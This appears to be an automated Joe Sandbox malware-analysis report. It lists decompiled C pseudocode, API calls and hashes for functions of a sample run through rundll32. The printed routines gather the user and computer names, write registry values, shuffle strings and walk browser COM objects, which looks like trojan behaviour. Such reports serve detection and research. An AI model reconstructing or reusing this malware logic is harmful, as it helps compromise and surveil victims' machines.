                  0x04be6c42
                  0x04be6c47
                  0x04be6cc6
                  0x04be6cc7
                  0x04be6c49
                  0x04be6c49
                  0x04be6c4e
                  0x04be6c56
                  0x04be6c58
                  0x04be6c5d
                  0x00000000
                  0x04be6c5f
                  0x04be6c5f
                  0x04be6c64
                  0x04be6c6c
                  0x04be6c6e
                  0x04be6c73
                  0x00000000
                  0x04be6c75
                  0x04be6c75
                  0x04be6c7a
                  0x04be6c82
                  0x04be6c84
                  0x04be6c89
                  0x00000000
                  0x04be6c8b
                  0x04be6c8b
                  0x04be6c90
                  0x04be6c98
                  0x04be6c9a
                  0x04be6c9f
                  0x00000000
                  0x04be6ca1
                  0x04be6ca7
                  0x04be6cac
                  0x04be6cb3
                  0x04be6cb8
                  0x04be6cbd
                  0x00000000
                  0x04be6cbf
                  0x04be6cc2
                  0x04be6cc2
                  0x04be6cbd
                  0x04be6c9f
                  0x04be6c89
                  0x04be6c73
                  0x04be6c5d
                  0x04be6c47
                  0x04be6cdc

                  APIs
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  • GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04BE37FB,?,?,?,?,00000000,00000000), ref: 04BE6C1E
                  • GetProcAddress.KERNEL32(00000000,7243775A), ref: 04BE6C40
                  • GetProcAddress.KERNEL32(00000000,614D775A), ref: 04BE6C56
                  • GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04BE6C6C
                  • GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04BE6C82
                  • GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04BE6C98
                    • Part of subcall function 04BE7A08: memset.NTDLL ref: 04BE7A87
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: AddressProc$AllocateHandleHeapModulememset
                  • String ID:
                  • API String ID: 1886625739-0
                  • Opcode ID: 3c44f029ce1ed5408173ef3fcbd1e5b605ebec1c5471f7f85dbf874b709f22c9
                  • Instruction ID: c57a3474b0c82a30be981bbb3dc9fc6da86bdc4089ab0210e3b35ceef8b99275
                  • Opcode Fuzzy Hash: 3c44f029ce1ed5408173ef3fcbd1e5b605ebec1c5471f7f85dbf874b709f22c9
                  • Instruction Fuzzy Hash: 41212AB160070AAFD720DF6BCA84E6AB7ECEF983047414466E505CB711EB78F909CB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE4C94 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 88%
                  			E04BE4C94(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x4bea3dc);
					_t91 = 0x80000002;
					L6:
					_t59 = E04BE6536( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E04BE313F(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E04BE61DA(_a8);
						goto L29;
					}
					_t64 =  *0x4bea318; // 0x5609dd8
					_t16 = _t64 + 0xc; // 0x5609efa
					_t65 = E04BE6536(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d04be90
						if(E04BE7767(_t97,  *_t33, _t91, _a8,  *0x4bea3d4,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0x4bea348; // 0xa1d5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x4bebb5a; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x4bebbac; // 0x55434b48
								_t69 = _t34;
							}
							if(E04BE7238(_t69,  *0x4bea3d4,  *0x4bea3d8,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x4bea348; // 0xa1d5a8
									_t44 = _t71 + 0x4beb332; // 0x74666f53
									_t73 = E04BE6536(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d04be90
										E04BE5B0E( *_t47, _t91, _a8,  *0x4bea3d8, _a24);
										_t49 = _t101 + 0x10; // 0x3d04be90
										E04BE5B0E( *_t49, _t91, _t99,  *0x4bea3d0, _a16);
										E04BE61DA(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d04be90
									E04BE5B0E( *_t40, _t91, _a8,  *0x4bea3d8, _a24);
									_t43 = _t101 + 0x10; // 0x3d04be90
									E04BE5B0E( *_t43, _t91, _a8,  *0x4bea3d0, _a16);
								}
								if( *_t101 != 0) {
									E04BE61DA(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d04be90
					_t81 = E04BE58BD( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d04be90
							E04BE7767(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E04BE61DA(_t100);
						_t98 = _a16;
					}
					E04BE61DA(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E04BE7AB0(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x4bea3dc);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}























                  0x04be4c94
                  0x04be4c9d
                  0x04be4ca4
                  0x04be4ca9
                  0x04be4d16
                  0x04be4d1c
                  0x04be4d21
                  0x04be4d28
                  0x04be4d2d
                  0x04be4d32
                  0x04be4e9d
                  0x04be4ea4
                  0x04be4ea4
                  0x04be4ea9
                  0x04be4eab
                  0x04be4eab
                  0x04be4eb4
                  0x04be4eb4
                  0x04be4d38
                  0x04be4d44
                  0x04be4e93
                  0x04be4e96
                  0x00000000
                  0x04be4e96
                  0x04be4d4a
                  0x04be4d4f
                  0x04be4d52
                  0x04be4d57
                  0x04be4d5c
                  0x04be4da5
                  0x04be4da5
                  0x04be4db8
                  0x04be4dc2
                  0x04be4dc8
                  0x04be4dcf
                  0x04be4dd9
                  0x04be4dd9
                  0x04be4dd1
                  0x04be4dd1
                  0x04be4dd1
                  0x04be4dd1
                  0x04be4dfb
                  0x04be4e03
                  0x04be4e31
                  0x04be4e36
                  0x04be4e3d
                  0x04be4e42
                  0x04be4e46
                  0x04be4e78
                  0x04be4e48
                  0x04be4e55
                  0x04be4e58
                  0x04be4e68
                  0x04be4e6b
                  0x04be4e71
                  0x04be4e71
                  0x04be4e05
                  0x04be4e12
                  0x04be4e15
                  0x04be4e27
                  0x04be4e2a
                  0x04be4e2a
                  0x04be4e82
                  0x04be4e8e
                  0x04be4e84
                  0x04be4e87
                  0x04be4e87
                  0x04be4e82
                  0x04be4dfb
                  0x00000000
                  0x04be4dc2
                  0x04be4d6b
                  0x04be4d6e
                  0x04be4d75
                  0x04be4d7b
                  0x04be4d7e
                  0x04be4d80
                  0x04be4d8c
                  0x04be4d8f
                  0x04be4d8f
                  0x04be4d95
                  0x04be4d9a
                  0x04be4d9a
                  0x04be4da0
                  0x00000000
                  0x04be4da0
                  0x04be4cae
                  0x00000000
                  0x04be4cd5
                  0x04be4cd5
                  0x04be4ce1
                  0x04be4cf4
                  0x04be4cfa
                  0x04be4d02
                  0x00000000
                  0x04be4d02

                  APIs
                  • StrChrA.SHLWAPI(04BE6A76,0000005F,00000000,00000000,00000104), ref: 04BE4CC7
                  • lstrcpy.KERNEL32(?,?), ref: 04BE4CF4
                    • Part of subcall function 04BE6536: lstrlen.KERNEL32(?,00000000,05609DD8,00000000,04BE6F0A,05609FFB,43175AC3,?,?,?,?,43175AC3,00000005,04BEA00C,4D283A53,?), ref: 04BE653D
                    • Part of subcall function 04BE6536: mbstowcs.NTDLL ref: 04BE6566
                    • Part of subcall function 04BE6536: memset.NTDLL ref: 04BE6578
                    • Part of subcall function 04BE5B0E: lstrlenW.KERNEL32(?,?,?,04BE4E5D,3D04BE90,80000002,04BE6A76,04BE57D1,74666F53,4D4C4B48,04BE57D1,?,3D04BE90,80000002,04BE6A76,?), ref: 04BE5B33
                    • Part of subcall function 04BE61DA: RtlFreeHeap.NTDLL(00000000,00000000,04BE6383,00000000,?,00000000,00000000), ref: 04BE61E6
                  • lstrcpy.KERNEL32(?,00000000), ref: 04BE4D16
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
                  • String ID: ($\
                  • API String ID: 3924217599-1512714803
                  • Opcode ID: 2a448e113843fda673f973722ae16728298df9d2e3e47ae0e406fd31810f667f
                  • Instruction ID: f3966c4f6d552b1e97f9a8f8d575f367469753aef2a2daeadb3f316ccd14dec6
                  • Opcode Fuzzy Hash: 2a448e113843fda673f973722ae16728298df9d2e3e47ae0e406fd31810f667f
                  • Instruction Fuzzy Hash: 7D514D71100209FFDF269FA2DD40EBA37B9EF88359F008995FA1196160D735ED25AB21
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE7040 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 22%
                  			E04BE7040(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E04BE33DC(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E04BE61DA(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E04BE33DC((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x4bea318 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124);
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}





















                  0x04be7047
                  0x04be704e
                  0x04be7053
                  0x04be7056
                  0x04be705d
                  0x04be7060
                  0x04be7063
                  0x04be7068
                  0x04be706d
                  0x04be71c1
                  0x04be71c3
                  0x04be71c5
                  0x04be71ca
                  0x04be71ca
                  0x04be7073
                  0x04be7076
                  0x04be7079
                  0x04be707b
                  0x04be707b
                  0x04be707f
                  0x00000000
                  0x00000000
                  0x04be7083
                  0x04be70af
                  0x04be70b4
                  0x04be70b6
                  0x04be70b6
                  0x04be70b9
                  0x04be70bc
                  0x04be70bc
                  0x04be70be
                  0x00000000
                  0x04be7089
                  0x04be708b
                  0x04be70aa
                  0x04be70aa
                  0x04be70c1
                  0x04be70c1
                  0x04be70c2
                  0x04be70c2
                  0x04be70c5
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be70c5
                  0x04be708f
                  0x04be70d6
                  0x04be70da
                  0x04be71b4
                  0x04be71b6
                  0x04be71b6
                  0x04be71b7
                  0x04be71ba
                  0x00000000
                  0x04be71ba
                  0x04be70e3
                  0x04be70f4
                  0x04be70f8
                  0x04be71b0
                  0x00000000
                  0x04be71b0
                  0x04be70fe
                  0x04be7101
                  0x04be7105
                  0x04be7109
                  0x04be710e
                  0x04be71a6
                  0x04be71a6
                  0x00000000
                  0x04be71ac
                  0x04be7119
                  0x04be7122
                  0x04be7136
                  0x04be713d
                  0x04be7152
                  0x04be7158
                  0x04be7160
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be7162
                  0x04be7162
                  0x04be7162
                  0x04be7169
                  0x04be7171
                  0x00000000
                  0x00000000
                  0x04be7173
                  0x04be717c
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be717e
                  0x04be7180
                  0x04be7183
                  0x04be7183
                  0x04be7186
                  0x04be718a
                  0x04be718d
                  0x04be7193
                  0x04be7196
                  0x04be719d
                  0x00000000
                  0x04be7119
                  0x04be7094
                  0x04be709c
                  0x04be70a2
                  0x04be70a4
                  0x04be70a4
                  0x04be70a7
                  0x04be70a9
                  0x00000000
                  0x04be70a9
                  0x04be7083
                  0x04be70c9
                  0x04be70ce
                  0x04be70d0
                  0x04be70d0
                  0x04be70d3
                  0x04be70d3
                  0x00000000

                  APIs
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  • lstrcpy.KERNEL32(43175AC4,00000020), ref: 04BE713D
                  • lstrcat.KERNEL32(43175AC4,00000020), ref: 04BE7152
                  • lstrcmp.KERNEL32(00000000,43175AC4), ref: 04BE7169
                  • lstrlen.KERNEL32(43175AC4), ref: 04BE718D
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
                  • String ID:
                  • API String ID: 3214092121-3916222277
                  • Opcode ID: 1cec7831b744d7c65b72d882b00511686354229a8e13cb62b1eca51d6f5759af
                  • Instruction ID: ddb5ba730c13fb2c26b438e9a87020d18a31b7f5abce52050abc93d21df2b6b3
                  • Opcode Fuzzy Hash: 1cec7831b744d7c65b72d882b00511686354229a8e13cb62b1eca51d6f5759af
                  • Instruction Fuzzy Hash: A7518471A00218EBDF11CFAAC444ABDBBB6EF85354F15809AE8159F202CB75AA51CB91
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE1340 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE1340() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_t11 = _t43 + 2; // 0x7491c742
						_v12 = _v12 + _t11;
						_t64 = E04BE33DC(_v12 + _t11 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E04BE61DA(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x4be3e01
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}















                  0x04be134e
                  0x04be1351
                  0x04be1354
                  0x04be135a
                  0x04be135f
                  0x04be1365
                  0x04be136d
                  0x04be1370
                  0x04be1376
                  0x04be137b
                  0x04be1384
                  0x04be1388
                  0x04be1395
                  0x04be1399
                  0x04be139b
                  0x04be139f
                  0x04be13a2
                  0x04be13b2
                  0x04be1405
                  0x04be1406
                  0x04be13b4
                  0x04be13b9
                  0x04be13ba
                  0x04be13bf
                  0x04be13c2
                  0x04be13d5
                  0x00000000
                  0x04be13d7
                  0x04be13da
                  0x04be13df
                  0x04be13ed
                  0x04be13f0
                  0x04be13f6
                  0x04be13fb
                  0x00000000
                  0x04be13fd
                  0x04be13fd
                  0x04be1400
                  0x04be1400
                  0x04be13fb
                  0x04be13d5
                  0x04be140b
                  0x04be140c
                  0x04be137b
                  0x04be1412

                  APIs
                  • GetUserNameW.ADVAPI32(00000000,04BE3DFF), ref: 04BE1354
                  • GetComputerNameW.KERNEL32(00000000,04BE3DFF), ref: 04BE1370
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  • GetUserNameW.ADVAPI32(00000000,04BE3DFF), ref: 04BE13AA
                  • GetComputerNameW.KERNEL32(04BE3DFF,7491C740), ref: 04BE13CD
                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,04BE3DFF,00000000,04BE3E01,00000000,00000000,?,7491C740,04BE3DFF), ref: 04BE13F0
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
                  • String ID:
                  • API String ID: 3850880919-0
                  • Opcode ID: 0bf42fcb447a74dfcb657a79d13373b80c542d168f9d03e52dcbb9c2a410ef85
                  • Instruction ID: 7cedc0c8b862f90eac2b92b5d1383d32ec7b23dfaf2fc981bb975992300c3ebf
                  • Opcode Fuzzy Hash: 0bf42fcb447a74dfcb657a79d13373b80c542d168f9d03e52dcbb9c2a410ef85
                  • Instruction Fuzzy Hash: FC21BCB5900108FFDB11DFEAD9848EEBBBCEF84305B6144AAE502E7241D734AB45DB61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE54D8 Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE54D8(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x4bea30c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x4bea2fc = _t4;
					_t6 = GetCurrentProcessId();
					 *0x4bea2f8 = _t6;
					 *0x4bea304 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x4bea2f4 = _t7;
					if(_t7 == 0) {
						 *0x4bea2f4 =  *0x4bea2f4 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}









                  0x04be54e0
                  0x04be54e6
                  0x04be54ed
                  0x00000000
                  0x04be5547
                  0x04be54ef
                  0x04be54f7
                  0x04be5504
                  0x04be5504
                  0x04be5544
                  0x00000000
                  0x04be5544
                  0x04be5506
                  0x04be5506
                  0x04be550b
                  0x04be551d
                  0x04be5522
                  0x04be5528
                  0x04be552e
                  0x04be5535
                  0x04be5537
                  0x04be5537
                  0x00000000
                  0x04be553e
                  0x04be5500
                  0x00000000
                  0x00000000
                  0x04be5502
                  0x00000000

                  APIs
                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,04BE5037,?), ref: 04BE54E0
                  • GetVersion.KERNEL32 ref: 04BE54EF
                  • GetCurrentProcessId.KERNEL32 ref: 04BE550B
                  • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 04BE5528
                  • GetLastError.KERNEL32 ref: 04BE5547
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Process$CreateCurrentErrorEventLastOpenVersion
                  • String ID:
                  • API String ID: 2270775618-0
                  • Opcode ID: c76d70e501336fccfac813439ede121af24296c3b63a59743fa438e5012b6979
                  • Instruction ID: 1aabc645d934d174061ba2b81f1a33b90fadae3ac4b8965e7d3c2f2777036f26
                  • Opcode Fuzzy Hash: c76d70e501336fccfac813439ede121af24296c3b63a59743fa438e5012b6979
                  • Instruction Fuzzy Hash: B7F081F4640302EBDB308B73A81AB243BA6E7C8755F50045AE513EF1C1E778A884CB35
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE6CDF Relevance: 6.2, APIs: 4, Instructions: 154memorystringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 46%
                  			E04BE6CDF(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x4bea348; // 0xa1d5a8
					_t5 = _t103 + 0x4beb038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x4be9284);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x4bea348; // 0xa1d5a8
												_t28 = _t109 + 0x4beb0e4; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x4bea348; // 0xa1d5a8
														_t33 = _t79 + 0x4beb078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}





































                  0x04be6ce4
